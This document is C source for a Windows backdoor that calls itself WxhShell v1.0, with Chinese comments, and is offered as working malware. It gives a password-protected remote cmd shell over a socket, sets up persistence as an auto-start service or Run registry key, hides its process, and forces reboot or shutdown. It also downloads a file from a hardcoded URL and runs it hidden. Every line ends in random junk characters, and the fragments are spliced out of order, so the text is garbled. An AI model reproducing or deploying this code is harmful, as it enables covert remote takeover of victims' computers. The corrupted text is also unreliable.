    if(Boot(SHUTDOWN)) `,<BCu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hn G Z=  
    else { e'NJnPO  
    closesocket(wsh); T4Uev*A  
    ExitThread(0); <44G]eb  
    } DMr\ TN  
    break; oWT3apGO  
    } y'.p&QH'`  
  // 获取shell sUO`uqZV  
  case 's': { z\W64^'"Z  
    CmdShell(wsh); ,]F,Uu_H7  
    closesocket(wsh); W aRw05r  
    ExitThread(0); 03X1d-  
    break; i>`%TW:g  
  } X 'Xx"M  
  // 退出 (=AWOU+  
  case 'x': { W:2( .?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $t[FH&c(  
    CloseIt(wsh); 9s q  
    break; Tx# Mn~xD  
    } N#_H6TfMG  
  // 离开 L,/%f<wd  
  case 'q': { .W%)*&WH\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iOghb*aW  
    closesocket(wsh); Rr]H y^w  
    WSACleanup(); tXs\R(?T  
    exit(1); k1~&x$G  
    break; cOJo3p;&  
        } jvL[ JI,b  
  } NH4#  
  } IHac:=*Q  
IM'r8 V  
  // 提示信息 K;G~V\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p8O2Z? \  
} :P~6~ K um  
  } ?);v`]  
1.GQau~  
  return; ;A'mB6?%H  
} `*R:gE=  
Ee! 4xg  
// shell模块句柄 {%H'z$|{  
int CmdShell(SOCKET sock) BX7kO0j  
{ Cl7xt}I  
STARTUPINFO si; kgP0x-Ap  
ZeroMemory(&si,sizeof(si)); +'HqgSPyb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cF}".4|kZ<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !*N@ZL&X  
PROCESS_INFORMATION ProcessInfo; 4Z&lYLq;  
char cmdline[]="cmd"; G5 WVr$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O<?R)NH-P  
  return 0; wlqksG[B  
} ^6V[=!& H  
yNBfUj -L  
// 自身启动模式 .Yn_*L+4*  
int StartFromService(void) kn 4`Fa;)O  
{ Bj;'qB>3  
typedef struct {4Cmu;u  
{ 'zTLl8P  
  DWORD ExitStatus; '-~~-}= sJ  
  DWORD PebBaseAddress; 29.h91  
  DWORD AffinityMask; ?k{?GtSs  
  DWORD BasePriority; q>+k@>bk @  
  ULONG UniqueProcessId; JPw.8|V)y  
  ULONG InheritedFromUniqueProcessId; ]{@-HTt  
}   PROCESS_BASIC_INFORMATION; uy$e?{Jf  
YU'E@t5  
PROCNTQSIP NtQueryInformationProcess; 3F2w-+L  
@# l= l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hHnYtq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }19\.z&J  
\_f(M|  
  HANDLE             hProcess; n{mfn *r.  
  PROCESS_BASIC_INFORMATION pbi; +ye3HGD  
m;QMQeGz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hz@bW2S.  
  if(NULL == hInst ) return 0; E ~<JC"]  
rjYJs*#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G_,jgg7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >|UOz&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %IWPM"  
2FJ*f/  
  if (!NtQueryInformationProcess) return 0; ^<2p~h0 \  
8&slu{M- t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); + cN8Y}V  
  if(!hProcess) return 0; X l5 A 'h  
1mG-}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2P0*NQ   
s;Q!X ?Q  
  CloseHandle(hProcess); @\#td5'  
83#mB:^R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }o`76rDN  
if(hProcess==NULL) return 0; HG^'I+Yn  
vXje^>_6  
HMODULE hMod; !+v$)3u9  
char procName[255]; wb l&  
unsigned long cbNeeded; t%=tik2|7  
/gP+N2o+}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 kW,I  
]}Yl7/gM1}  
  CloseHandle(hProcess); "4{r6[dn  
wf<M)Rs|  
if(strstr(procName,"services")) return 1; // 以服务启动 }BP;1y6-r  
KbeC"mi  
  return 0; // 注册表启动 0L52#;?Si"  
} ]c'A%:f<  
T6=u P)!K  
// 主模块 a&? :P1$  
int StartWxhshell(LPSTR lpCmdLine) .$vK&k  
{ ZJiG!+-j  
  SOCKET wsl; S)@j6(HC4  
BOOL val=TRUE; sXFZWj }\  
  int port=0; |yPu!pfl  
  struct sockaddr_in door; I; rGD^  
Cp0=k  
  if(wscfg.ws_autoins) Install(); F:S}w   
=t?F6)Q  
port=atoi(lpCmdLine); O:K2Y5R?B  
Y.p;1"  
if(port<=0) port=wscfg.ws_port; LKDO2N  
_H@DLhH|=  
  WSADATA data; GZIa 4A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }O p; g^W  
u>vL/nI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (#c:b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9hyn`u.  
  door.sin_family = AF_INET; )8ZH-|N`!E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qJ-/7-$ ^  
  door.sin_port = htons(port); CU!Dhm/U  
|vj/Wwr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2D5StCF$O  
closesocket(wsl); #Gi$DMW  
return 1; pMM8-R'W-  
} ]7A'7p $Y  
!j-Z Lq:;  
  if(listen(wsl,2) == INVALID_SOCKET) { wUJcmM;  
closesocket(wsl); ,eS)e+yzc2  
return 1; k+*u/neh  
} "" EQE>d  
  Wxhshell(wsl); 4CTi]E=H{  
  WSACleanup(); 1< ?4\?j  
x kD6Iw  
return 0; MF'JeM;H  
6ik$B   
} o)/ 0a  
"#g}ve,  
// 以NT服务方式启动 iWR)ke  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <F'\lA9  
{ P.DK0VgY  
DWORD   status = 0; #AY&BWS$  
  DWORD   specificError = 0xfffffff; {_*yGK48n  
)t%b838l%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Vk:93OH21  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n+R7D.<q!!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .e-#yET  
  serviceStatus.dwWin32ExitCode     = 0; |DwZ{(R"W  
  serviceStatus.dwServiceSpecificExitCode = 0; #5uOx(>  
  serviceStatus.dwCheckPoint       = 0; uXiN~j &Be  
  serviceStatus.dwWaitHint       = 0; ?e?!3Bx;EM  
t_1L L >R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /x *3}oI  
  if (hServiceStatusHandle==0) return; 3XNCAb2  
DHRlWQox  
status = GetLastError(); * v#o  
  if (status!=NO_ERROR) ;kKyksxlD  
{ dc'Y `e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4<v&S2Yq  
    serviceStatus.dwCheckPoint       = 0; -nwypu  
    serviceStatus.dwWaitHint       = 0; qe\5m.k  
    serviceStatus.dwWin32ExitCode     = status; [#iz/q~}  
    serviceStatus.dwServiceSpecificExitCode = specificError; NHE18_v5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !VzC&>'v^9  
    return;  ~$J2g  
  } o+VQ\1as?(  
~.|_RdN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w32y3~  
  serviceStatus.dwCheckPoint       = 0; LR3*G7  
  serviceStatus.dwWaitHint       = 0; ?q [T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y1#1Ne_  
}  L"aeG  
\{D" !e  
// 处理NT服务事件,比如:启动、停止 7j{?aza  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w!XD/j N  
{ ee=D1qNu;  
switch(fdwControl) +w~oH=  
{ @(lh%@hO  
case SERVICE_CONTROL_STOP: l+b~KU7~l  
  serviceStatus.dwWin32ExitCode = 0; |vC~HJpuv'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {.]7!ISl5  
  serviceStatus.dwCheckPoint   = 0; xYB{;K  
  serviceStatus.dwWaitHint     = 0; ;FEqe 49  
  { pK4)yu+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1.>m@Slr>  
  } ptaKf4P^r  
  return; lLIA w$  
case SERVICE_CONTROL_PAUSE: @}ZVtrz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6dYMwMH  
  break; "Y.y:Vv;  
case SERVICE_CONTROL_CONTINUE: OZ&o:/*HM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GN>@ZdVG}#  
  break; H"F29Pu2  
case SERVICE_CONTROL_INTERROGATE: mp3s-YfRc  
  break; |l!aB(NW  
}; 'hf8ZEW9'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yDh6KUK  
} D/' dTrR  
Qg/rRiV  
// 标准应用程序主函数 ss-D(K"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e:W{OIz:  
{ 6MI8zRX  
8b=_Y;  
// 获取操作系统版本 eV~goj  
OsIsNt=GetOsVer(); K<J9 ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :zR!/5  
T8NxJmYqB  
  // 从命令行安装 T^q 0'#/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mb=" Te>|  
fXB0j;A  
  // 下载执行文件 `F6C-  
if(wscfg.ws_downexe) { p b,. r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :v 4]D4\o  
  WinExec(wscfg.ws_filenam,SW_HIDE); IR bfNq^:  
} ,z?':TZ  
LgYq.>Nl9  
if(!OsIsNt) { :Tq~8!s  
// 如果时win9x,隐藏进程并且设置为注册表启动 !!y a  
HideProc(); wQLSf{2  
StartWxhshell(lpCmdLine); Y\tui+?J  
} B erwI 7!=  
else "7`<~>9t.  
  if(StartFromService()) GKCroyor  
  // 以服务方式启动 <-0]i_4sK  
  StartServiceCtrlDispatcher(DispatchTable); P|> ~_$W  
else ?%kV?eu'  
  // 普通方式启动 ]%(2hY~i  
  StartWxhshell(lpCmdLine); jFb?b6b  
(iGTACoF  
return 0; _XT pU  
} .sA.C] f  
=Runf +}  
< 7$1kGlA  
Vz[C=_m  
=========================================== 'm9` 12 H  
^W@5TkkBQq  
6zn5UW#q  
'H!XUtFs"  
b>$S<td  
3mni>*q7d  
" 3ANQaUC  
:i7;w%B  
#include <stdio.h> &~w}_Fjk  
#include <string.h> BPHW}F]X  
#include <windows.h> ;=UsAB]  
#include <winsock2.h> u-C)v*#L  
#include <winsvc.h> WN<zkM~3  
#include <urlmon.h> ]cruF#`%  
l@:0e]8|o  
#pragma comment (lib, "Ws2_32.lib") X 8`Sf>  
#pragma comment (lib, "urlmon.lib") L_s:l9!r  
bu"!jHPB  
#define MAX_USER   100 // 最大客户端连接数 %PJQ%~ A  
#define BUF_SOCK   200 // sock buffer l NBL4yM  
#define KEY_BUFF   255 // 输入 buffer fxIf|9Qi`  
E.>4C[O  
#define REBOOT     0   // 重启 c0fo7|  
#define SHUTDOWN   1   // 关机 m#F`] {  
EZ`{Wnbq  
#define DEF_PORT   5000 // 监听端口 VD\=`r)nT  
4H<lm*!^  
#define REG_LEN     16   // 注册表键长度 jNy.Y8E&  
#define SVC_LEN     80   // NT服务名长度 Hq 188<  
Xs?o{]Fe  
// 从dll定义API 5 u0HI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BF<ikilR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4a]P7fx-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S Z$Kz n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IaXeRq?<  
})?GzblI&  
// wxhshell配置信息 ;w[0t}dPl  
struct WSCFG { K96<M);:g  
  int ws_port;         // 监听端口 +?!(G}5  
  char ws_passstr[REG_LEN]; // 口令 i7>tU=  
  int ws_autoins;       // 安装标记, 1=yes 0=no bY0|N[ g  
  char ws_regname[REG_LEN]; // 注册表键名 F@:'J\I}:  
  char ws_svcname[REG_LEN]; // 服务名 }Z,x~G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "FKOaQ%IH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }AH] th  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1y4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |H+Wed|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^a1^\X.~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `^y7f  
xK\d4 "  
}; \;"=QmRD%:  
}U9G    
// default Wxhshell configuration u-5{U-^_  
struct WSCFG wscfg={DEF_PORT, (=@h23 vH  
    "xuhuanlingzhe", /~f'}]W  
    1, xlg9TvvI  
    "Wxhshell", q%?in+l  
    "Wxhshell", H+Sz=tg5  
            "WxhShell Service", 3;s\OW`  
    "Wrsky Windows CmdShell Service", .h4 \Y A  
    "Please Input Your Password: ", Np0u,t%vs  
  1, ~`:L?Jkb6H  
  "http://www.wrsky.com/wxhshell.exe", 5N&?KA-  
  "Wxhshell.exe"  !=P1%  
    }; s}% M4  
P}7'm M  
// 消息定义模块 fx>4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'ub@]ru|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $'hEz/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :A'y+MnK<  
char *msg_ws_ext="\n\rExit."; +&2%+[nBZ  
char *msg_ws_end="\n\rQuit."; %n:k#  
char *msg_ws_boot="\n\rReboot..."; b`O'1r\Y;  
char *msg_ws_poff="\n\rShutdown..."; d4c8~L H-  
char *msg_ws_down="\n\rSave to "; nK%LRcAs  
p2$P:!Y)  
char *msg_ws_err="\n\rErr!"; fDU!~/#  
char *msg_ws_ok="\n\rOK!"; _t #k,;  
r #cGop]  
char ExeFile[MAX_PATH]; _8_R 1s  
int nUser = 0; p sMvq@>  
HANDLE handles[MAX_USER]; *6DB0X_-}  
int OsIsNt; FE|JHh$  
"mvt>X  
SERVICE_STATUS       serviceStatus; .+A+|yR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1F&Trqq  
[}0haTYc4  
// 函数声明 Vt&2z)Zz  
int Install(void); \Et3|Iv  
int Uninstall(void); (S\[Y9  
int DownloadFile(char *sURL, SOCKET wsh); U0N 60  
int Boot(int flag); SmSH2m-  
void HideProc(void); U/l&tmIVY  
int GetOsVer(void); 'Xq| Kf (  
int Wxhshell(SOCKET wsl); X=fYWj[H,  
void TalkWithClient(void *cs); )ea>%  
int CmdShell(SOCKET sock); 8i#2d1O  
int StartFromService(void); {:$>t~=D  
int StartWxhshell(LPSTR lpCmdLine); !\.pq  2  
^N{h3b8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *]/zc1Q4M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wHMX=N1/  
CD ( :jM?  
// 数据结构和表定义 iN8zo:&Z  
SERVICE_TABLE_ENTRY DispatchTable[] = lB vR+9Qw  
{ xH"/1g  
{wscfg.ws_svcname, NTServiceMain}, LR.<&m%~.  
{NULL, NULL} Fgh_9S9J  
}; A1>OY^p3%  
Oso#+  
// 自我安装 *@=/qkaJaI  
int Install(void) ~^fZx5  
{ XXcl{1Kp!@  
  char svExeFile[MAX_PATH]; Jgd'1'FOs  
  HKEY key; e_ANUll1  
  strcpy(svExeFile,ExeFile); 8_B4?` k  
;dZZ;#k%  
// 如果是win9x系统,修改注册表设为自启动 T{ XS")Vw  
if(!OsIsNt) { 9u}Hmb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s/ qYa])  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tq6!`L}3  
  RegCloseKey(key); _ y8Wn}19f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o 5uph=Q{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); peuZ&yK+"  
  RegCloseKey(key); 'UX!*5k<:  
  return 0; [H^z-6x:0  
    } 9oR@U W1  
  } ;1O_M9  
} tKx~1-  
else { gS]@I0y8 .  
ZWU)\}}_R  
// 如果是NT以上系统,安装为系统服务 n QZwC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); , I (d6  
if (schSCManager!=0) /quc}"__  
{ `yXg{lk  
  SC_HANDLE schService = CreateService }DfshZ0QM  
  ( wX5tp1 ?1J  
  schSCManager, V0.vQ/  
  wscfg.ws_svcname, `FDiX7M  
  wscfg.ws_svcdisp, '+!1Y o'G  
  SERVICE_ALL_ACCESS, suiS&$-E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /dQl)tL  
  SERVICE_AUTO_START, sF?TmBQ*  
  SERVICE_ERROR_NORMAL, udUyh%n  
  svExeFile, p Vw}g@<M  
  NULL, BmMGx8P  
  NULL, u9GQU  
  NULL, L<-_1!wh  
  NULL, FvXZ<(A{  
  NULL \[_t]'p  
  ); yyRiP|hJ  
  if (schService!=0) '(yAfL 9}  
  { g:D>.lKd  
  CloseServiceHandle(schService); -)]Yr #Q  
  CloseServiceHandle(schSCManager); )j(7]uX`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OXSmt DvJ  
  strcat(svExeFile,wscfg.ws_svcname); 1;r|g)VM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [-k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m^f0V2M_  
  RegCloseKey(key); (%e .:W${  
  return 0; 2 %@4]  
    } ?2;&O`x*  
  } q`H_M{26!y  
  CloseServiceHandle(schSCManager); ith 3 =`3  
} Bp`]  
} A8fOQ  
$i}y8nlQ  
return 1; RJ ||}5  
} aS{n8P6vW  
z/WE,R  
// 自我卸载 [.'|_l  
int Uninstall(void) <+Dn8  
{ 3<Zq ]jk?n  
  HKEY key; bv9i*]  
OgQV;at  
if(!OsIsNt) { ?U5{Wa85D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UkT=W!cq  
  RegDeleteValue(key,wscfg.ws_regname); T/Gz94c  
  RegCloseKey(key); B^Nf #XN(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;R5`"`  
  RegDeleteValue(key,wscfg.ws_regname); %C'?@,7C  
  RegCloseKey(key); &Gn 2tr  
  return 0; 6]_pIf  
  } ]kG"ubHV?h  
} zyc"]IzOU  
} #ASz;$P  
else { o]` *M|  
djQH1^ (IU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4(~L#}:r!  
if (schSCManager!=0) 8'.Hyy@;  
{ ?'#` nx(!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !M]uL&:  
  if (schService!=0)  V!ZC(  
  { /-ch`u md  
  if(DeleteService(schService)!=0) { <fjX[l<Uz  
  CloseServiceHandle(schService); {3p4:*}  
  CloseServiceHandle(schSCManager); Av$^  
  return 0; 7 60Y$/Wz  
  } ?m=N]!n  
  CloseServiceHandle(schService); 1k5Who@  
  } :q7Wy&ow  
  CloseServiceHandle(schSCManager); dh*ZKI^@(  
} .b&t ;4q  
} *_{j=sd  
[vK ^Um  
return 1; |zNX=mAV  
}  u\x}8pn  
='sHj4hU  
// 从指定url下载文件 *@r/5pM2}  
int DownloadFile(char *sURL, SOCKET wsh) 69?wc!  
{ Un(aW=PQ0  
  HRESULT hr; vNY{j7l/W  
char seps[]= "/"; ooL!TS GD  
char *token; bv9]\qC]T<  
char *file; }[};IqVaK  
char myURL[MAX_PATH]; ^q vbqfh  
char myFILE[MAX_PATH]; N/'b$m5= S  
88gM?G _X  
strcpy(myURL,sURL); BB$>h}  
  token=strtok(myURL,seps); [0[i5'K:  
  while(token!=NULL) k>Vci{v  
  { kr5">"7  
    file=token; VimE@Hz  
  token=strtok(NULL,seps); He/8=$c%  
  } +I:Unp  
;Ax }KN7  
GetCurrentDirectory(MAX_PATH,myFILE); C12Fl  
strcat(myFILE, "\\"); uR4z &y  
strcat(myFILE, file); PbgP\JeX  
  send(wsh,myFILE,strlen(myFILE),0); "f2$w  
send(wsh,"...",3,0); }J`w4P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2K6qY)/_  
  if(hr==S_OK) ?.-wnz  
return 0; n;Q7X>-f8`  
else K?Nhi^f"L  
return 1; :&rt)/I  
H8zK$!  
} \*y-g@-{W$  
V-2(?auZd  
// 系统电源模块 v0+BkfU+p  
int Boot(int flag) 4qh?,^Dq  
{ \0I_<  
  HANDLE hToken; cJ n=  
  TOKEN_PRIVILEGES tkp; VUGmi]qd  
]^'Kd*x  
  if(OsIsNt) { l0w]`EE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m@F`!qY~Y\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "]x'PI 4J  
    tkp.PrivilegeCount = 1; y`5 9A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jr!JHC9i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z'W =\rl  
if(flag==REBOOT) { q=m'^ ,gPS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^4hO  
  return 0; cN6X#D  
} |\t-g" ~sN  
else { hJ? O],4J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OU.6bmWy|  
  return 0; J#(LlCs?@c  
} ({)+3]x  
  } V>LwqS~`  
  else { ) 7@ `ut  
if(flag==REBOOT) { >J?fl8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1D7 `YKI9h  
  return 0; fu ,}1Mq#  
} 1{. |+S Z!  
else { D%SlAzZ3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0<@KG8@hI;  
  return 0; 'ya{9EdlT  
} B{#I:Rs9  
} vWv"  
iB yf{I>+  
return 1; -20bPiM$A  
} h"Q8b}$^)  
UHkMn  
// win9x进程隐藏模块 {duz\k2  
void HideProc(void)  A,<E\  
{ i$#;Kpb`^  
q:0N<$63  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sb*G!8j  
  if ( hKernel != NULL ) -f^tE,-  
  { 'sKk"bi;0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -3 *]G^y2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); & h)yro  
    FreeLibrary(hKernel); `UaD6Mc<Mz  
  } @Uvz8*b6  
%)1?TU  
return; ueWEc^_>  
} &wawr2)}  
?e4YGOe.  
// 获取操作系统版本 ksUcx4;a@F  
int GetOsVer(void) !>o7a}?  
{ o5PO =AN  
  OSVERSIONINFO winfo; ;ef}}K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1R%.p7@5QU  
  GetVersionEx(&winfo); Of#u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V2EUW!gn 2  
  return 1; {}n^cq  
  else G~a ZJ,  
  return 0; u&vf+6=9Dd  
} =y*IfG9b  
CK@@HSm}l  
// 客户端句柄模块 T?0eVvM  
int Wxhshell(SOCKET wsl) <xm7qmqI  
{ .~;\eW[  
  SOCKET wsh; :3Ox~o  
  struct sockaddr_in client; zC!t;*8a  
  DWORD myID; q?yVR3]M  
 <kqo^  
  while(nUser<MAX_USER) cuI TY^6  
{ .`eN8Dl1  
  int nSize=sizeof(client); 7n<{tM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [9L:),&u  
  if(wsh==INVALID_SOCKET) return 1; </z Eg3F\  
*i%d,w0+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (L&d!$,Dv  
if(handles[nUser]==0) CHX#^0m.  
  closesocket(wsh); 8GUX{K  
else #;yZ  
  nUser++; \R_C&=  
  } SqpaFWr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S,UDezxg  
<]2wn  
  return 0; Q1 97mN+0  
} g) jYFfGfH  
Vc Z3 X4/  
// 关闭 socket a`>B Ly5o  
void CloseIt(SOCKET wsh) PJH&  
{ 8l`*]1.W<  
closesocket(wsh); 46h<,na?,  
nUser--; Fx.=#bVX7  
ExitThread(0); } q8ASYNc  
} X \/#@T  
~]2K ^bh8&  
// 客户端请求句柄 6i/(5 nQ  
void TalkWithClient(void *cs) {`@G+JV~Jw  
{ 4V`G,W4^J  
;i+jJ4  
  SOCKET wsh=(SOCKET)cs; @o`AmC . 8  
  char pwd[SVC_LEN]; G 3ptx! D  
  char cmd[KEY_BUFF]; Dlvz )  
char chr[1]; RA L~!"W  
int i,j; i/Zd8+.n$  
(4nq>;$3  
  while (nUser < MAX_USER) { O=7CMbS3  
;2QP7PrSY  
if(wscfg.ws_passstr) { gB33?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9pfIzs su3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CrTw@AW9)  
  //ZeroMemory(pwd,KEY_BUFF); v]UwJz3<  
      i=0; 5b7RY V  
  while(i<SVC_LEN) { C3g_! dUs  
[$UI8tV  
  // 设置超时 (TM,V!G+U~  
  fd_set FdRead; f$QNg0v  
  struct timeval TimeOut; !&E-}}<  
  FD_ZERO(&FdRead); f|g g  
  FD_SET(wsh,&FdRead); FS1z`wYP  
  TimeOut.tv_sec=8; #/37V2E  
  TimeOut.tv_usec=0; jebx40TA3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >9J:Uo1z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z;"vW!%d  
)+Pus~w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tZo} ;|~'  
  pwd=chr[0]; <1!O1ab  
  if(chr[0]==0xd || chr[0]==0xa) {  %;!.n{X  
  pwd=0; _)-o1`*-  
  break; d#wVLmKZ  
  } wy2 D;;  
  i++; -UT}/:a  
    } *X}`PF   
Wc 'H  
  // 如果是非法用户,关闭 socket /qw.p#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ddR>7d}N  
} 32 =z)]FZ  
> Nr#O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FVBYo%Ap  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kU`r)=1"  
6W Ur QFK  
while(1) { i}?>g-(  
9&NgtZpt  
  ZeroMemory(cmd,KEY_BUFF); :BT q!>s  
zx7{U8*`<  
      // 自动支持客户端 telnet标准   yV(\R  
  j=0; D1;QC  
  while(j<KEY_BUFF) { rVsJ`+L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e(G |;a  
  cmd[j]=chr[0]; I<tm"?q0  
  if(chr[0]==0xa || chr[0]==0xd) { @=kSo -SX  
  cmd[j]=0; <0?W{3NqI  
  break; .%QXzIa3F  
  } uW3!Yg@  
  j++; ete.!*=  
    }  8dyg1F  
S21,VpW\  
  // 下载文件 -Y;3I00(  
  if(strstr(cmd,"http://")) { ~e.L.,4QZ8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0qT%!ku&  
  if(DownloadFile(cmd,wsh)) ~F7gP{r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"xd1l?zz  
  else >-{Hyx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S 6,.FYH  
  } 61 ~upQaR  
